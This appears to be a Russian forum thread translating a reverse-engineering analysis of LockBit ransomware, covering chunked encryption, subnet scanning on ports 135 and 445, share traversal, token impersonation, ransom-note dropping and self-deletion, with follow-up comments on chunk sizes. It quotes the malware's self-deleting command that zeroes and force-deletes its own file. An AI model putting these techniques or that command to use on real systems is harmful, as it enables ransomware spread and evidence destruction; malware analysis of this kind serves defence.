Чтобы завершить шифрование файла, вредоносное ПО увеличивает глобальную переменную COMPLETED_FILE_NUM и уменьшает глобальную переменную ACTIVE_FILE_BEING_PROCESSED. Он вызывает NtClose, чтобы закрыть дескриптор файла, RtlFreeUnicodeString, чтобы освободить буфер имени файла, и NtFreeVirtualMemory, чтобы освободить общую структуру файла.

1648401084959.png


Состояние шифрования № 3

Это состояние просто очищает структуры фрагментов и файловую структуру перед завершением шифрования, как в состоянии 2. Это состояние используется исключительно для очистки структуры записки о выкупе. Более подробная информация обсуждается в разделе "Записка о выкупе" (https://chuongdong.com/reverse engineering/2022/03/19/LockbitRansomware/#dropping-ransom-note) .

1648401098388.png


Состояние шифрования № 4

LockBit переходит в фазу 4, когда размер файла превышает размер фрагмента, поэтому в файле может обрабатываться более 1 фрагмента.

Он выполняет те же задачи, что и в фазе 2, где проверяет, выполнено ли шифрование для переименования файла. Поток вредоносного ПО также очищает структуры, аналогичные состоянию 2, и завершает там шифрование.

1648401114940.png


Если текущий чанк обрабатывается последним, LockBit создает колонтитул файла, записывает его в конец буфера фрагмента и вызывает NtWriteFile для записи данных в файл. Следующее состояние чанка установлено на 2, чтобы очистить шифрование.


1648401130287.png


Если шифрование не выполнено, а нужно зашифровать еще фрагменты, дочерний поток переходит к ожиданию других фрагментов, вызывая NtRemoveIoCompletion.

Обход сетевых хостов

Если установлен флаг конфигурации с индексом 3, LockBit создает потоки для обхода и шифрования других сетевых узлов и сетевых дисков с компьютера жертвы.

Сканирование живых хостов

LockBit сначала вызывает сокет для создания TCP-сокета IPv4. Используя дескриптор сокета, он вызывает WSAIoctl с GUID "{0x25a207b9,0x0ddf3,0x4660,{0x8e,0xe9,0x76,0xe5,0x8c,0x74,0x06,0x3e}}" для получения адреса функции LPFN_CONNECTEX.


1648401149636.png


Затем он вызывает GetAdaptersInfo для получения информации об адаптере для локального компьютера. Используя полученную структуру IP_ADAPTER_INFO, вредоносное ПО вызывает inet_addr для преобразования IP-адреса компьютера и IP-маски в значения в порядке IP-сети. LockBit извлекает базовый адрес сети, выполняя побитовую операцию И над этими значениями. Кроме того, переворачивая все биты в маске и выполняя операцию ИЛИ с IP-адресом машины, LockBit также получает широковещательный адрес сети.

1648401164279.png


Для сканирования сети LockBit выполняет итерацию от базового сетевого адреса до широковещательного адреса, каждый раз увеличивая значение сетевого адреса. Для каждого из этих адресов вредоносное ПО пытается подключиться к нему через порты 135 и 445. Если соединение установлено успешно, он пытается зашифровать эти сетевые узлы.

1648401178243.png


Для каждого адреса LockBit строит следующую структуру сокета.

struct __declspec(align(4)) SOCKET_STRUCT
{
OVERLAPPED overlapped;
HANDLE socket_event;
HANDLE socket_wait_object_handle;
int enable_traversal;
SOCKET socket;
sockaddr_in target_addr;
int cleaned_flag; // 1 == not cleaned
};


Он заполняет эту структуру, вызывая socket для создания TCP-сокета IPv4, устанавливает его в поле сокета и вызывает bind для привязки сокета к локальному компьютеру. Затем он вызывает CreateEventW, чтобы создать дескриптор события для сокета, чтобы установить его в поле socket_event, и вызывает NtSetInformationFile с информационным классом FileCompletionInformation, чтобы связать структуру сокета с портом завершения ввода-вывода. И, наконец, он заполняет target_addr соответствующим портом и IP-адресом цели.

1648401200109.png


1648401214161.png


Затем вредоносное ПО вызывает RegisterWaitForSingleObject, чтобы зарегистрировать дескриптор события, когда событие сокета сигнализируется. Обработчик событий — это всего лишь оболочка для CancelIoEx, которая отменяет все операции ввода-вывода для текущего процесса. Наконец, он вызывает LPFN_CONNECTEX для выполнения операции ввода-вывода для создания соединения с сетевым узлом. Если сетевой хост не работает и функция не выполняется, LockBit очищает структуру и переходит к тестированию другого хоста.

1648401225431.png


Запуск потоков для обхода сетевых ресурсов живых хостов

Перед сканированием сети LockBit вызывает NtCreateIoCompletion, чтобы создать объект завершения ввода-вывода для связи по шифрованию сетевого узла. Он также вызывает CreateThread для создания потоков, которые будут ждать на этом объекте завершения ввода-вывода, чтобы получить определенный сетевой узел для прохождения и шифрования.

1648401236094.png


Дочерний поток имеет бесконечный цикл while для вызова NtRemoveIoCompletion и ожидания получения структуры сокета, когда родительский поток вызывает LPFN_CONNECTEX для определенного узла сети.

1648401248098.png


Для каждого полученного сетевого узла он вызывает WSAAddressToStringW, чтобы преобразовать адрес узла в строку и пройти через общие сетевые ресурсы на нем.

1648401259936.png


Чтобы пройти через общие сетевые ресурсы на узле, вредоносная программа сначала вызывает WNetAddConnection2W, чтобы установить прямое соединение с узлом, и NetShareEnum для получения информации о его общих ресурсах. Для каждого общего ресурса вредоносное ПО форматирует следующий путь "\<адрес хоста>\<имя общего ресурса>" и вызывает функцию обхода из раздела "Обход локального диска", чтобы пройти и зашифровать его.

1648401272470.png


1648401282584.png


Обход сетевых дисков

После шифрования общих ресурсов на сетевых узлах LockBit также проходит и шифрует удаленные диски на машине жертвы.

Процесс олицетворения с тем же идентификатором аутентификации

LockBit создает поток для шифрования удаленных дисков, выдавая себя за процесс с тем же идентификатором аутентификации.

Он олицетворяет себя, вызывая NtQueryInformationToken для запроса типа повышения маркера текущего процесса, чтобы проверить, повышен ли он. Если это так, вредоносное ПО вызывает NtQueryInformationToken для получения дескриптора другого токена, связанного с этим токеном с повышенными правами, и идентификатора аутентификации связанного токена.


1648401295089.png


Для данного идентификатора аутентификации вредоносное ПО вызывает CreateToolhelp32Snapshot, чтобы получить дескриптор моментального снимка всех процессов в системе. Он вызывает Process32FirstW и Process32NextW для перечисления всех процессов. Для каждого процесса LockBit вызывает OpenProcess, используя идентификатор процесса для получения дескриптора процесса и NtQueryInformationToken для получения идентификатора аутентификации процесса. Он перечисляет, пока не найдет процесс с тем же идентификатором аутентификации, что и связанный токен выше.

1648401315769.png


После обнаружения LockBit вызывает DuplicateToken, чтобы дублировать и олицетворять токен целевого процесса, и SetThreadToken, чтобы установить дублированный токен в свой собственный процесс.

1648401326723.png


После олицетворения LockBit начинает просматривать все сетевые диски в системе. Он перебирает диски, вызывая GetLogicalDrives, и выполняет битовую проверку каждого бита, чтобы найти только те диски, которые существуют в системе. Для каждого из этих дисков вредоносное ПО вызывает WNetGetConnectionW, чтобы получить сетевой путь к диску, и создает поток для его прохождения.

1648401338871.png


1648401357257.png


Функция обхода — это всего лишь оболочка для функции обхода из раздела "Обход локального диска". (https://chuongdong.com/reverse engineering/2022/03/19/LockbitRansomware/#traversing-local-drive)


1648401368535.png


Окно процесса оболочки олицетворения

LockBit также порождает поток для шифрования удаленных дисков, выдавая себя за окно процесса оболочки.

Во-первых, он вызывает GetShellWindow, чтобы получить дескриптор окна рабочего стола Shell, и GetWindowThreadProcessId, чтобы получить идентификатор процесса. Затем он вызывает OpenProcess для получения дескриптора процесса, используя его идентификатор и NtOpenProcessToken для получения токена процесса.

1648401381556.png


Наконец, чтобы олицетворить этот процесс, LockBit вызывает DuplicateToken, чтобы дублировать токен процесса, и SetThreadToken, чтобы установить дублированный токен в свой собственный процесс.

1648401396070.png


Остальная часть процедуры обхода сетевого диска такая же, как описано выше.

Размещение записки о выкупе

Записка о выкупе удаляется во время процедуры обхода родительского потока в обходе локального диска. (https://chuongdong.com/reverse engineering/2022/03/19/LockbitRansomware/#traversing-local-drive) .LockBit сначала создает путь к записке о выкупе в папке, добавляя "\Restore-My-Files.txt" после пути к папке.

1648401409246.png


Если заметка о выкупе еще не существует в папке, LockBit создает общую файловую структуру и заполняет ее путем к записке о выкупе. Вредоносная программа также вызывает NtCreateFile для создания записки о выкупе и NtSetInformationFile для связывания файловой структуры с объектом завершения ввода-вывода.

1648401420088.png


После заполнения структуры фрагмента содержимым примечания о выкупе и установки следующего состояния фрагмента на 3 он вызывает NtWriteFile для записи содержимого в примечание о выкупе. Это добавит запись в объект завершения ввода-вывода, где один дочерний поток получит и очистит фрагмент и файловую структуру записки о выкупе.

1648401431859.png


Если записка о выкупе уже существует в каталоге, этот шаг пропускается.

Самоудаление

После завершения шифрования файла LockBit удаляет себя, если установлен флаг конфигурации в индексе 1. Сначала он разрешает строку стека "/C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"" и форматирует ее с помощью собственного пути исполняемого файла.

1648401447894.png


Эта команда пингует локальный хост с 3 сообщениями эхо-запроса, чтобы задержать и дождаться завершения выполнения вредоносного ПО, запускает fsutil для очистки исполняемого файла вредоносного ПО и принудительно удаляет файл в тихом режиме.

LockBit также вызывает MoveFileExW, чтобы настроить себя на удаление после перезагрузки системы.

1648401460991.png


Наконец, вредоносное ПО вызывает ShellExecuteExW для выполнения приведенной выше команды, чтобы удалить себя.

1648401473309.png


Список используемых материалов

https://www.bleepingcomputer[.]com/...ncrypts-windows-domains-using-group-policies/
 
LockBitSupp, cpeter - всем большое спасибо, мне было очень интересно читать и переводить!!!
 
Feel free to check out my full blog where I analyzed how the encryption chunking works here https://chuongdong.com/reverse engineering/2022/03/19/LockbitRansomware/. Currently yashechka is translating the rest, so you can also wait for that too :)
Sorry, this is my fault. Now I see:

chunk_size ->
0x100000 байт: 2 чанка
0x100000 -> 0x600000 байт: 4 фрагмента
0x600000 -> 0x3200000 байт: 16 чанков
0x3200000 -> 0x6400000 байт: 32 чанка
0x6400000 -> 0x1F400000 байт: 64 чанка
0x1F400000 -> 0x80000000 байт: 128 чанков
0x80000000 -> 0x300000000 байт: 256 чанков
0x300000000 байт или выше: 512 чанков

So, actually 512*512 bytes may be enchiphered, not only 4096.

However, I did not get the following [link]
lockbit162.PNG

"If the file size is too large (greater than 0x8000000000000000 bytes) or too small (less than the chunk size), the structure’s chunk_size field is set to the entire file size and the chunk_count field is set to 1. This means for these files, LockBit reads the entire file into 1 chunk and encrypts it."

While MSDN declares:
"EndOfFile (8 bytes): A 64-bit signed integer that contains the absolute new end of file position as a byte offset from the start of the file. EndOfFile specifies the offset from the beginning of the file of the byte following the last byte in the file. That is, it is the offset from the beginning of the file at which new bytes appended to the file will be written. The value of this field MUST be greater than or equal to 0."

That is, 0x8000000000000000 means a negative value, which is not allowed.

cpeter - опять к тебе вопрос 🤭 🤭 🤭
Просто я не понял, что многоточие в конце первого сообщения означает "продолжение следует".
 
Sorry, this is my fault. Now I see:

chunk_size ->
0x100000 байт: 2 чанка
0x100000 -> 0x600000 байт: 4 фрагмента
0x600000 -> 0x3200000 байт: 16 чанков
0x3200000 -> 0x6400000 байт: 32 чанка
0x6400000 -> 0x1F400000 байт: 64 чанка
0x1F400000 -> 0x80000000 байт: 128 чанков
0x80000000 -> 0x300000000 байт: 256 чанков
0x300000000 байт или выше: 512 чанков

So, actually 512*512 bytes may be enchiphered, not only 4096.

However, I did not get the following [link]
lockbit162.PNG

"If the file size is too large (greater than 0x8000000000000000 bytes) or too small (less than the chunk size), the structure’s chunk_size field is set to the entire file size and the chunk_count field is set to 1. This means for these files, LockBit reads the entire file into 1 chunk and encrypts it."

While MSDN declares:
"EndOfFile (8 bytes): A 64-bit signed integer that contains the absolute new end of file position as a byte offset from the start of the file. EndOfFile specifies the offset from the beginning of the file of the byte following the last byte in the file. That is, it is the offset from the beginning of the file at which new bytes appended to the file will be written. The value of this field MUST be greater than or equal to 0."

That is, 0x8000000000000000 means a negative value, which is not allowed.


Просто я не понял, что многоточие в конце первого сообщения означает "продолжение следует".
yea now that I look at it again, my wording was wrong. That field is 64-bit signed, so when being AND-ed to 0x8000000000000000, it should always be 0. They are checking if the AND result is not equal to 0, so I guess that’s basically checking for invalid EOF values instead of checking if the file is too large. Thanks for pointing it out. Will update it in the blog later 👍
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх